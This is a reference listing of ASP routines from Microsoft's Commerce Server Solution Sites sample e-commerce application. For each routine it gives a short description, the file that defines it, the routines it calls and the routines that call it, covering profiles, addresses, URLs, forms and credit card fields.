Function EnsureUserProfile()

Return Value

Users who do not have a current profile are redirected to the "missing profile" error page. Otherwise, the function returns a Recordset object containing the current profile of the user.

Defined in File

include\std_profile_lib.asp

Routines Called

GenerateURL

GetCurrentUserProfile

Called By

bCheckIfProfileExists

bInsertProfile

bPaintACLForUser

EnsureAccess

EnsureAuthAccess

iGetCurrentUserPropertyAccessClass

PrepareLoginSection

PrepareOrderList

rsGetOrdersList

SaveReadOnlyProperty

sGetWhereClauseForCurrentUser

UpdateSelectActionPropertyName

UpdateUserPasswordProperty


ErrorOut - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub displays an error message, logs the error to the event log, and stops script execution.

Definition

Sub ErrorOut()

Defined in File

opt-out.asp

Routines Called

This routine does not call any other routines defined in the Solution Sites files.

Called By

Main (opt-out.asp)

OptOut

Remarks

This routine produces a different error message depending on whether the global variable MSCSENV is set to the constant PRODUCTION or the constant DEVELOPMENT.


FetchCategoryData - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes the variables passed to it.

Definition

Sub FetchCategoryData(
  byRef sPageTitle,
  byRef sCatalogName,
  byRef sCategoryName,
  byRef iPageNumber
)

Parameters

sPageTitle
A string that this sub initializes to a constant string stored in the MessageManager object.
sCatalogName
A string that this sub initializes to the request variable CATALOG_NAME_URL_KEY.
sCategoryName
A string that this sub initializes to the request variable CATEGORY_NAME_URL_KEY.
iPageNumber
A number that this sub initializes to the request variable PAGENUMBER_URL_KEY.

Defined in File

category.asp

Routines Called

GetRequestString

Called By

Main (category.asp)


FetchData (addrbook.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub retrieves the address information for the current user, initializing the iAddrType and rsAddresses parameters. If the rsAddresses Recordset object is not empty, the sCheckedAddrID parameter is also initialized.

Definition

Sub FetchData(
  ByRef iAddrType,
  ByRef rsAddresses,
  ByRef sCheckedAddrID
)

Defined in File

addrbook.asp

Routines Called

GetAddressType

GetUserAddresses

Called By

Main (addrbook.asp)


FetchData (newaddr.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes the iAddrType and sAction parameters. If the sAction parameter is equal to "add", "edit", or "delete", the sAddrID parameter is initialized. If the sAddrID parameter is not Null, the rsAddr parameter is initialized to a Recordset object containing the address information for the current user.

Definition

Sub FetchData(
  ByRef iAddrType,
  ByRef sAction,
  ByRef sAddrID,
  ByRef rsAddr
)

Defined in File

newaddr.asp

Routines Called

GetAddressType

rsGetProfile

Called By

SetupAddressForm


FetchData (_setadrs.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function initializes its parameters. The sAddrID parameter is initialized to the request variable ADDRESS_ID. The mscsOrderGroup parameter is initialized to the contents of the basket for the current user. The rsAddr parameter is initialized to a Recordset object containing address information for the current user.

Definition

Function FetchData(
  ByRef mscsOrderGrp,
  ByRef sAddrID,
  ByRef rsAddr
)

Defined in File

_setadrs.asp

Routines Called

GetRequestString

LoadBasket

rsGetProfile

Called By

Main (_setadrs.asp)


FormatOutput - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function formats a string, replacing variables in the sTemplate parameter of the form %1, %2, and so on, with strings supplied in the arrArgs array parameter.

Definition

Function FormatOutput(
  byVal sTemplate,
  arrArgs
)

Parameters

sTemplate
A string containing replaceable substrings of the form %1, %2, and so on.
arrArgs
An array of strings to replace the substrings of the form %1, %2, and so on, in the sTemplate parameter. The first string in the array will replace the %1 substring, the second string in the array will replace the %2 substring, and so on.

Return Value

A string in which the specified replacements have been made.

Defined in File

include\std_util_lib.asp

Routines Called

This routine does not call any routines defined in the Solution Sites files.

Called By

colRenderPropertyTip

GetAddresses

GetDefaultValueForNameOnCard

GetErrorSource

GetLoginFieldDefinitions

GetPasswordFieldDefinition

htmRenderCategoryPage

htmRenderConfirmationPage

htmRenderFillOutForm

htmRenderPaymentOptionsForUser

htmRenderUserDefinedProductProperties

JoinWebFarm

RenderSearchResultRow

rowRenderStatusInfo

tableRenderFooterInfo


formRenderBlankEditPageBody - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a blank profile editing form.

Definition

Function formRenderBlankEditPageBody(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\render_edit_blank.asp

Routines Called

GenerateURL

RenderForm

RenderHiddenField

tableRenderBlankProfile

tableRenderEditPageTasks

Called By

htmRenderBlankEditPage


formRenderChangePasswordPageContents - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the change password form.

Definition

Function formRenderChangePasswordPageContents(
  sAction,
  sSubAction,
  sProfileIDs,
  rsUser,
  bValidPostedValues,
  bDisplayPostedValues
)

Defined in File

services\include\render_password.asp

Routines Called

GenerateURL

GetRequestString

RenderForm

RenderHiddenField

tableChangePasswordTasks

tableRenderChangePasswordContents

Called By

htmRenderChangePasswordPage


formRenderEditPageBody - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a profile editing form.

Definition

Function formRenderEditPageBody(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal rsProfiles,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\render_edit_common.asp

Routines Called

GenerateURL

RenderForm

RenderHiddenField

tableRenderEditPageTasks

tableRenderProfiles

Called By

htmRenderEditPage


formRenderListPageContents - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a profile list form.

Definition

Function formRenderListPageContents(
  byVal sAction,
  byVal sSubAction,
  byVal rsProfiles,
  byRef iPageNumber,
  byRef iTotalRecords,
  byRef iTotalPages,
  byRef bIsEmpty
)

Defined in File

services\include\render_list.asp

Routines Called

GenerateURL

GetRequestString

RenderForm

RenderHiddenField

sGetSelectActionPropertyName

sGetThisPageProperty

tableRenderListPageTasks

tableRenderMultipleRecords

Called By

htmRenderProfilesList


formRenderOrderContents - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an order details form.

Definition

Function formRenderOrderContents(
  sAction,
  sSubAction,
  sProfileIDs,
  rsOrder
)

Defined in File

services\include\render_orders.asp

Routines Called

GenerateURL

GetRequestString

RenderForm

RenderHiddenField

tblOrderDetailsTasks

tblRenderOrderDetailsContents

Called By

htmRenderOrderDetails


formRenderOrderSearchOptions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render either a simple or advanced order searching form, based on the value of the sCriteria parameter.

Definition

Function formRenderOrderSearchOptions(
  byVal dictSearchOptions,
  byVal mscsUserProfile,
  sCriteria
)

Defined in File

services\include\render_orders.asp

Routines Called

colRenderAdvancedSearchTab

colRenderSimpleSearchTab

RenderForm

RenderHiddenField

RenderSubmitButton

RenderTable

rowRenderAdvancedSearchOptionsForOrders

rowRenderSimpleSearchOptionsForOrders

sReConstructPageURL

TRTag

Called By

htmRenderOrderList


formRenderOrdersListContents - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an orders list form.

Definition

Function formRenderOrdersListContents(
  byVal sAction,
  byVal sSubAction,
  byVal rsOrders,
  byRef iPageNumber,
  byRef iTotalRecords,
  byRef iTotalPages,
  byVal sTargetPage
)

Defined in File

services\include\render_orders.asp

Routines Called

GenerateURL

RenderForm

tableRenderOrdersListContents

tableRenderOrdersListTasks

Called By

htmRenderOrderList


formRenderPagingButtons - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render paging buttons. These buttons are wrapped in a form that gets posted when a paging button is clicked.

Definition

Function formRenderPagingButtons(
  byVal sAction,
  byVal sSubAction,
  byVal iPageNumber,
  byVal iTotalPages,
  byVal bRequiresLastPageCtrl
)

Defined in File

services\include\render_common.asp

Routines Called

RenderForm

RenderHiddenField

RenderSubmitButton

RenderTextBox

sReConstructPageURL

Called By

tableRenderFooterInfo


formRenderProfileSearchOptions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render either a simple or advanced profile searching form, based on the value of the request variable QUERY_STRING_CRITERIA.

Definition

Function formRenderProfileSearchOptions(
  byVal sAction,
  byVal sSubAction,
  byVal dictSearchOptions
)

Defined in File

services\include\render_list.asp

Routines Called

colRenderAdvancedSearchTab

colRenderSimpleSearchTab

GetRequestString

RenderForm

RenderHiddenField

RenderSubmitButton

RenderTable

rowsRenderAdvanceSearchOptionsForProfiles

rowsRenderSimpleSearchOptionsForProfiles

sReConstructPageURL

TRTag

Called By

htmRenderProfilesList


GenerateURL - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks whether the page is defined as supporting the Secure Socket Layer (SSL) protocol, and whether the ticket is stored in a cookie or in the URL. This information, along with the parameters, is passed to the GetURL method of the AuthManager object.

Definition

Function GenerateURL(
  byVal sPageName,
  ByRef arrParams,
  ByRef arrVals
)

Defined in File

include\std_url_lib.asp

Routines Called

None.

Called By

CatchErrors (_setadrs.asp)

CatchErrors (_setship.asp)

CatchErrors (addrbook.asp)

CatchErrors (addrform.asp)

CatchErrors (newaddr.asp)

CatchErrors (pickship.asp)

CatchErrors (summary.asp)

CatchErrorsForPaymentPages

CheckIfOrderExists

CheckIfProfilesExist

CheckOut

CheckPartnerServiceAccess

CloseOrderDetailsActionHandler

EnsureAccess

EnsureAuthAccess

EnsureSupportForPaymentMethod

EnsureUserHasRightsToCatalog

EnsureUserProfile

formRenderBlankEditPageBody

formRenderChangePasswordPageContents

formRenderEditPageBody

formRenderListPageContents

formRenderOrderContents

formRenderOrdersListContents

GetCatalogForUser

GetTicketInUrlArg

htmChangePasswordActionHandler

htmEditPageActionHandlers

htmListPageActionHandlers

htmRenderAddressBook

htmRenderAddressBookPage

htmRenderAddressForm

htmRenderAddressRows

htmRenderBasket

htmRenderBlankEditPage

htmRenderChangePasswordPage

htmRenderCheckoutButton

htmRenderConfirmationPage

htmRenderCreditCardPage

htmRenderCustomerServiceSection

htmRenderEditPage

htmRenderLoginPage

htmRenderLoginSection

htmRenderMessageBoxForCancel

htmRenderMessageBoxForDelete

htmRenderMessageBoxForDeleteAll

htmRenderMessageBoxForSave

htmRenderMessageBoxForSelect

htmRenderOrderDetails

htmRenderOrderForm

htmRenderOrderList

htmRenderPartnerServiceSection

htmRenderPaymentOptionsForUser

htmRenderPickshipForm

htmRenderProfilesList

htmRenderSearchDeptPageContent

htmRenderSearchSection

htmRenderShippingMethods

htmRenderVerifyWithForm

InitializeConfirmationPage

InitializeCreditcardPage

InitializePO

InitializeSummaryPage

Main (_additem.asp)

Main (_delall.asp)

Main (_delitem.asp)

Main (_editqty.asp)

Main (_setadrs.asp)

Main (_setship.asp)

Main (addrform.asp)

Main (category.asp)

Main (dispatch.asp)

Main (error\badurl.asp)

Main (error\noauth.asp)

Main (login\_guest.asp)

Main (login\login.asp)

Main (login\newuser.asp)

Main (product.asp)

Main (services\change_password.asp)

Main (services\customer\account.asp)

Main (services\customer\view_order.asp)

Main (services\partner\account.asp)

Main (services\partner\view_order.asp)

Main (stepsrch.asp)

mscsGetCategoryObject

PasswordActionHandlers

PredictedPropToHREF

PrepareCloseAction

PrepareLoginPage

PrepareLogoffPage

PrepareNewUserPage

PreparePickShipForm

PrepareSelectActionHandlerForEdit

PrepareShippingMethods

RedirectOrderDetailsForIDs

ReDirectToPage

RedirectToPOConfirmation

RenderBasketPage

RenderCategoryURL

RenderNavbar

RenderProductURL

SelectedActionHandlerForList

SetupAddressForm

ShowRefinedSearch


GetActiveUsersOnly - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function examines the semicolon-separated list of user profile IDs, and returns a similar list containing only those user profile IDs that correspond to users that have an account status of ACCOUNT_ACTIVE.

Definition

Function GetActiveUsersOnly(
  byVal sProfileIDs
)

Parameters

sProfileIDs
A string containing a semicolon-separated list of user profile IDs.

Return Value

A string containing a semicolon-separated list of user profile IDs corresponding to users that are specified in the list provided by the sProfileIDs parameter, and that have an account status of ACCOUNT_ACTIVE.

Defined in File

services\include\save_one_profile.asp

Routines Called

GetUserPropertyFromID

Called By

SaveUserAccountControlProperty


GetAddressBookAddressFieldDefinitions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function initializes the form field definitions for address book entries.

Definition

Function GetAddressBookAddressFieldDefinitions()

Return Value

A SimpleList object containing the form field definitions for address book entries.

Defined in File

include\global_addressbook_lib.asp

Routines Called

GetAddressFieldDefinitions

GetDictionary

GetSimpleList

Called By

GetFormDefinitions

Remarks

For more information about forms processing in the Solution Sites, see Forms Processing for Solution Sites.


GetAddresses - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Recordset object of address information for either a user or an organization, based on the value of the sAddrParentID parameter.

Definition

Function GetAddresses(
  byVal sAddrParentID
)

Defined in File

include\addr_lib.asp

Routines Called

FormatOutput

GetQualifiedName

Called By

GetOrganizationAddresses

GetUserAddresses

Remarks

This function uses ActiveX Data Objects (ADO) and the OLEDB Provider for Commerce Server for direct database access.


GetAddressFieldDefinitions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function initializes the form field definitions for address fields used in address book entries and on shipping and billing address forms.

Definition

Function GetAddressFieldDefinitions()

Return Value

A SimpleList object containing the form field definitions for common address fields.

Defined in File

include\global_addressbook_lib.asp

Routines Called

GetCountryCodesList

GetCountryNamesList

GetDictionary

GetSimpleList

Called By

GetAddressBookAddressFieldDefinitions

GetFormDefinitions

GetShipToAddressFieldDefinitions

Remarks

For more information about forms processing in the Solution Sites, see Forms Processing for Solution Sites.


GetAddressPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the name of the page used to enter or select an address. If the user is an anonymous user or if address book functionality is disabled, the name of the address form page is returned. Otherwise, the name of the address book page is returned.

Definition

Function GetAddressPage()

Return Value

A string containing the name of either the address form page or the address book page.

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

CatchErrors (pickship.asp)

CatchErrors (summary.asp)

CatchErrorsForPaymentPages

Remarks

For more information about how addresses are managed in the Solution Sites, see About the Address Management Feature for Solution Sites.


GetAddressType - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the address type from the request variable ADDRESS_TYPE.

Definition

Function GetAddressType()

Return Value

One of the two constant values, BILLING_ADDRESS or SHIPPING_ADDRESS.

Defined in File

include\addr_lib.asp

Routines Called

None.

Called By

FetchData (addrbook.asp)

FetchData (newaddr.asp)

Main (_setadrs.asp)

Main (addrform.asp)

Remarks

This function defaults to SHIPPING_ADDRESS.


GetAncestorCategories - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns an array containing the ancestor categories for the specified category.

Definition

Function GetAncestorCategories(
  byVal mscsCategory,
  byVal sCategoryName
)

Defined in File

template\discount.asp

Routines Called

None.

Called By

listGetShownProductsInfo


GetAnyLineItem - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns an arbitrary line item from the specified OrderGroup object, which is useful when all line items contain similar information. This is accomplished by searching each OrderForm object in the specified OrderGroup object, and returning the first line item found.

Definition

Function GetAnyLineItem(
  mscsOrderGrp
)

Defined in File

include\std_ordergrp_lib.asp

Routines Called

None.

Called By

GetAnySavedAddressID

GetSavedAddressID

InitializeSummaryPage

PrepareShippingMethods

sGetDefaultShippingMethod


GetAnyOrderForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function searches the specified OrderGroup object, and returns the first OrderForm object it finds.

Definition

Function GetAnyOrderForm(
  mscsOrderGrp
)

Defined in File

include\std_ordergrp_lib.asp

Routines Called

None.

Called By

GetAnySavedAddressID

GetDefaultValueForNameOnCard

GetDefaultValuesForCreditCardFields

GetDefaultValuesForPurchaseOrderFields

GetSavedAddressID

InitializeSummaryPage

tblRenderOrderDetailsContents

ValidateSubmittedCreditCardData

ValidateSubmittedPurchaseOrderData


GetAnySavedAddressID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves an Address ID from the OrderGroup object specified by the mscsOrderGroup parameter and tries to find a corresponding address of the specified type (shipping or billing). If one cannot be found, it searches for a corresponding address of the other type.

Definition

Function GetAnySavedAddressID(
  mscsOrderGrp,
  byVal iAddrType
)

Defined in File

addrform.asp

Routines Called

GetAnyLineItem

GetAnyOrderForm

Called By

GetDefaultValuesForAddressFormFields


GetAppConfigObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns an initialized AppConfig object. It sets the global variable dictConfig to the Dictionary object returned by the GetOptionsDictionary method of the AppConfig object, and adds the s_SecureHostName and s_NonSecureHostName values from the SiteConfig object to the dictConfig dictionary.

Definition

Function GetAppConfigObject()

Return Value

An initialized AppConfig object.

Defined in File

include\global_siteconfig_lib.asp

Routines Called

GetSiteConfigObject

Called By

GetConfigDictionary

Main (include\global_main_lib.asp)


GetArrayFromList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns an array containing the items in the specified SimpleList object.

Definition

Function GetArrayFromList(
  byVal listFields
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

htmRenderOrderForm


GetAttributeValueFromProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves a property value from a profile.

Definition

Function GetAttributeValueFromProfile(
  byVal objProfile,
  byVal sPropertyName
)

Defined in File

services\include\get_profiles.asp

Routines Called

None.

Called By

dictGetSearchDictionaryForPage

GetOrgAttributeFromID

GetUserPropertyFromID


GetAuthManagerObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates, initializes, and returns an AuthManager object.

Definition

Function GetAuthManagerObject()

Defined in File

include\std_access_lib.asp

Routines Called

None.

Called By

SetupPage


GetBaseURL - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the base URL for this application.

Definition

Function GetBaseURL()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

GetCommerceSiteInstallPoint

Called By

InitCSF


GetBasketDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves basket details.

Definition

Function GetBasketDetails()

Return Value

A SimpleList object that contains one item for each item in all the OrderForm objects in the OrderGroup object for the current user. This process flattens the OrderGroup/OrderForm hierarchy.

Defined in File

template\discount.asp

Routines Called

CollectBasketItems

GetOrderGroup

GetPipelineLogFile

LoadBasket

RunMtsPipeline

Called By

None.

Remarks

This function loads the basket and runs the product pipeline. If the basket is already loaded, use the CollectBasketItems function.


GetBillToCurrenciesListItems - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a SimpleList object containing three items: the MessageManager "L_SelectOne_Text" message, the base currency symbol, and the alternate currency symbol.

Definition

Function GetBillToCurrenciesListItems()

Defined in File

include\global_internationalization_lib.asp

Routines Called

GetSimpleList

Called By

GetBillToCurrencyFieldDefinition


GetBillToCurrenciesListValues - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a SimpleList object containing three items: the integer –1, the base currency code, and the alternate currency code.

Definition

Function GetBillToCurrenciesListValues()

Defined in File

include\global_internationalization_lib.asp

Routines Called

GetSimpleList

Called By

GetBillToCurrencyFieldDefinition


GetBillToCurrencyFieldDefinition - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function initializes the form field definitions for the bill-to currency field.

Definition

Function GetBillToCurrencyFieldDefinition()

Return Value

A SimpleList object containing the form field definitions for the bill-to currency field.

Defined in File

include\global_internationalization_lib.asp

Routines Called

GetBillToCurrenciesListItems

GetBillToCurrenciesListValues

GetDictionary

Called By

GetCreditCardFieldDefinitions

GetPurchaseOrderFieldDefinitions

Remarks

For more information about forms processing in the Solution Sites, see Forms Processing for Solution Sites.


GetCatalogForUser - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the ProductCatalog object specified by the sCatalogName parameter. If the user does not have rights to this catalog, the user is redirected to the "bad catalog item" error page (error\baditem.asp).

Definition

Function GetCatalogForUser(
  byVal sCatalogName,
  byVal sUserID
)

Defined in File

include\catalog.asp

Routines Called

EnsureUserHasRightsToCatalog

GenerateURL

Called By

arrSearchDept

Main (_additem.asp)

Main (stepsrch.asp)


GetCommerceSiteInstallPoint - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns one of the constants HOME_DIRECTORY or VIRTUAL_DIRECTORY, depending on whether the application was installed at the root of the website or in a virtual directory, respectively.

Definition

Function GetCommerceSiteInstallPoint()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

None.

Called By

GetBaseURL

GetMachineBaseURL


GetCommerceSiteName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the Commerce Server site name stored in the global page variable MSCSCommerceSiteName.

Definition

Function GetCommerceSiteName()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

None.

Called By

GetErrorSource


GetComputerName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the name of the computer.

Definition

Function GetComputerName()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

None.

Called By

GetMachineBaseURL

JoinWebFarm


GetConfigDictionary - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the Dictionary object returned by a call to the GetOptionsDictionary method of the AppConfig object.

Definition

Function GetConfigDictionary()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

GetAppConfigObject

Called By

Main (include\global_main_lib.asp)


GetCorrectedCookiePath - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function converts the case of a cookie path to match the Internet Information Services (IIS) application name, returning True if any character case was converted, and False otherwise.

Definition

Function GetCorrectedCookiePath(
  ByRef url
)

Defined in File

include\std_cookie_lib.asp

Routines Called

GetIISApplicationName

Called By

CorrectRequest

Remarks

The corrected cookie path, if correction was required, is returned in the url parameter.

Sites call this function to ensure that any cookies that are set match the case of subsequently generated URLs (because cookies are case-sensitive).


GetCorrectedHostName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function corrects the host name in the url parameter, if needed. It returns True if the host name was corrected, and False otherwise.

The purpose of this correction is so that cookies use the same host name as used in the generated URLs (so that the cookies will be preserved).

Definition

Function GetCorrectedHostName(
  ByRef url
)

Defined in File

include\std_cookie_lib.asp

Routines Called

None.

Called By

CorrectRequest

Remarks

The corrected hostname, if correction was required, is returned in the url parameter.


GetCountryCodesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a SimpleList object that has "-1" as the first item, and the codes corresponding to the countries returned by the GetCountryNamesList method of the AppConfig object as the subsequent items.

Definition

Function GetCountryCodesList()

Defined in File

include\global_internationalization_lib.asp

Routines Called

GetCountryNamesList

GetSimpleList

Called By

GetAddressFieldDefinitions


GetCountryNamesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a SimpleList object that has the string corresponding to the MessageManager constant L_SelectOne_Text as the first item, and the names of the countries returned by the GetCountryNamesList method of the AppConfig object as the subsequent items.

Definition

Function GetCountryNamesList()

Defined in File

include\global_internationalization_lib.asp

Routines Called

GetSimpleList

Called By

colRenderCountryNames

GetAddressFieldDefinitions

GetCountryCodesList


GetCreditCardCodesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the same SimpleList object as the GetCreditCardNamesList function, except that the first item is set to the string "-1".

Definition

Function GetCreditCardCodesList()

Defined in File

include\global_creditcards_lib.asp

Routines Called

GetCreditCardNamesList

Called By

GetCreditCardFieldDefinitions


GetCreditCardFieldDefinitions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function initializes and returns the form field definitions for credit card fields.

Definition

Function GetCreditCardFieldDefinitions()

Return Value

A SimpleList object containing the form field definitions for credit card fields.

Defined in File

include\global_creditcards_lib.asp

Routines Called

GetBillToCurrencyFieldDefinition

GetCreditCardCodesList

GetCreditCardNamesList

GetDictionary

GetMonthCodesList

GetMonthNamesList

GetSimpleList

GetYearsListItems

GetYearsListValues

Called By

GetFormDefinitions

Remarks

For more information about forms processing in the Solution Sites, see Forms Processing for Solution Sites.


GetCreditCardNamesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a SimpleList object that has the string corresponding to the MessageManager constant L_SelectOne_Text as the first item, and the names of the accepted credit cards as the subsequent items.

The credit card names are also retrieved from the MessageManager object, using the constants L_AmericanExpress_Text, L_Discover_Text, L_MasterCard_Text, and L_VISA_Text.

Definition

Function GetCreditCardNamesList()

Defined in File

include\global_creditcards_lib.asp

Routines Called

GetSimpleList

Called By

GetCreditCardCodesList

GetCreditCardFieldDefinitions


GetCurrentUserProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the profile of the current user, if the user has one.

This function also ensures that the profile returned is the latest version available on the Web farm.

Definition

Function GetCurrentUserProfile()

Defined in File

include\std_profile_lib.asp

Routines Called

EnsureUpToDateUserProfile

GetProfileFromDB

Called By

CheckPartnerServiceAccess

EnsureAccess

EnsureUserProfile

GetUserProfileByLoginName

mscsTransferGuestUserProfile

mscsUserCatalogsetID

PrepareLoginPage

PrepareNewUserPage

PrepareRenderMenu

RenderDiscounts

rsGetUserDetails

RunMtsPipeline

Remarks

This function is optimized to return Nothing when the user is known to not have a profile, and to cache the user profile in the page variable Private_CurrentUserProfile in case this function is called again on the same page.

For more information about profiles and Web farm issues, see About the Profiles Feature for Solution Sites.


GetDefaultPaymentMethodForUser - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the first payment method in the passed SimpleList object.

Definition

Function GetDefaultPaymentMethodForUser(
  listMethods
)

Defined in File

include\payment.asp

Routines Called

None.

Called By

EnsureSupportForPaymentMethod

htmRenderVerifyWithForm

sLookUpPaymentMethod


GetDefaultValueForNameOnCard - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function searches the specified OrderGroup object for the first and last name associated with the billing address, combines the names into a single string, and then returns that string.

Definition

Function GetDefaultValueForNameOnCard(
  mscsOrderGrp
)

Defined in File

crdtcard.asp

Routines Called

FormatOutput

GetAnyOrderForm

Called By

GetDefaultValuesForCreditCardFields


GetDefaultValuesForAddressFormFields - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a Dictionary object that contains default address values of the specified type, retrieved from the specified OrderGroup object. If these address values cannot be retrieved, a Dictionary object with the single key "ADDRESS_COUNTRY", set to a value of "–1", is returned.

Definition

Function GetDefaultValuesForAddressFormFields(
  mscsOrderGrp,
  listFlds,
  byVal iAddrType
)

Defined in File

addrform.asp

Routines Called

GetAnySavedAddressID

GetDictionary

Called By

Main (addrform.asp)

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


GetDefaultValuesForCreditCardFields - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a Dictionary object that contains default credit card values retrieved from the specified OrderGroup object. The values to retrieve are determined by the credit card fields schema specified by the listFlds parameter. If any of these values cannot be retrieved, a value of "–1" is set for that value.

Definition

Function GetDefaultValuesForCreditCardFields(
  mscsOrderGrp,
  listFlds
)

Defined in File

crdtcard.asp

Routines Called

GetAnyOrderForm

GetDefaultValueForNameOnCard

GetDictionary

Called By

InitializeCreditcardPage

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


GetDefaultValuesForPurchaseOrderFields - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Dictionary object of default values copied from the first OrderForm object in the specified OrderGroup object. The values to retrieve are determined by the purchase order fields schema specified by the listFlds parameter.

Definition

Function GetDefaultValuesForPurchaseOrderFields(
  mscsOrderGrp,
  listFlds
)

Defined in File

po.asp

Routines Called

GetAnyOrderForm

GetDictionary

Called By

Main (po.asp)

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


GetDictionary - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a Dictionary object.

Definition

Function GetDictionary()

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

AddGroupAndPropertySchemas

dictGetCatalogAttributes

dictGetInitialFieldValues

dictGetProfileSchemaForAllProfileTypes

dictGetPropertySchema

dictGetRSFields

GetAddressBookAddressFieldDefinitions

GetAddressFieldDefinitions

GetBillToCurrencyFieldDefinition

GetCreditCardFieldDefinitions

GetDefaultValuesForAddressFormFields

GetDefaultValuesForCreditCardFields

GetDefaultValuesForPurchaseOrderFields

GetFieldsErrorDictionary

GetFormDefinitions

GetLoginFieldDefinitions

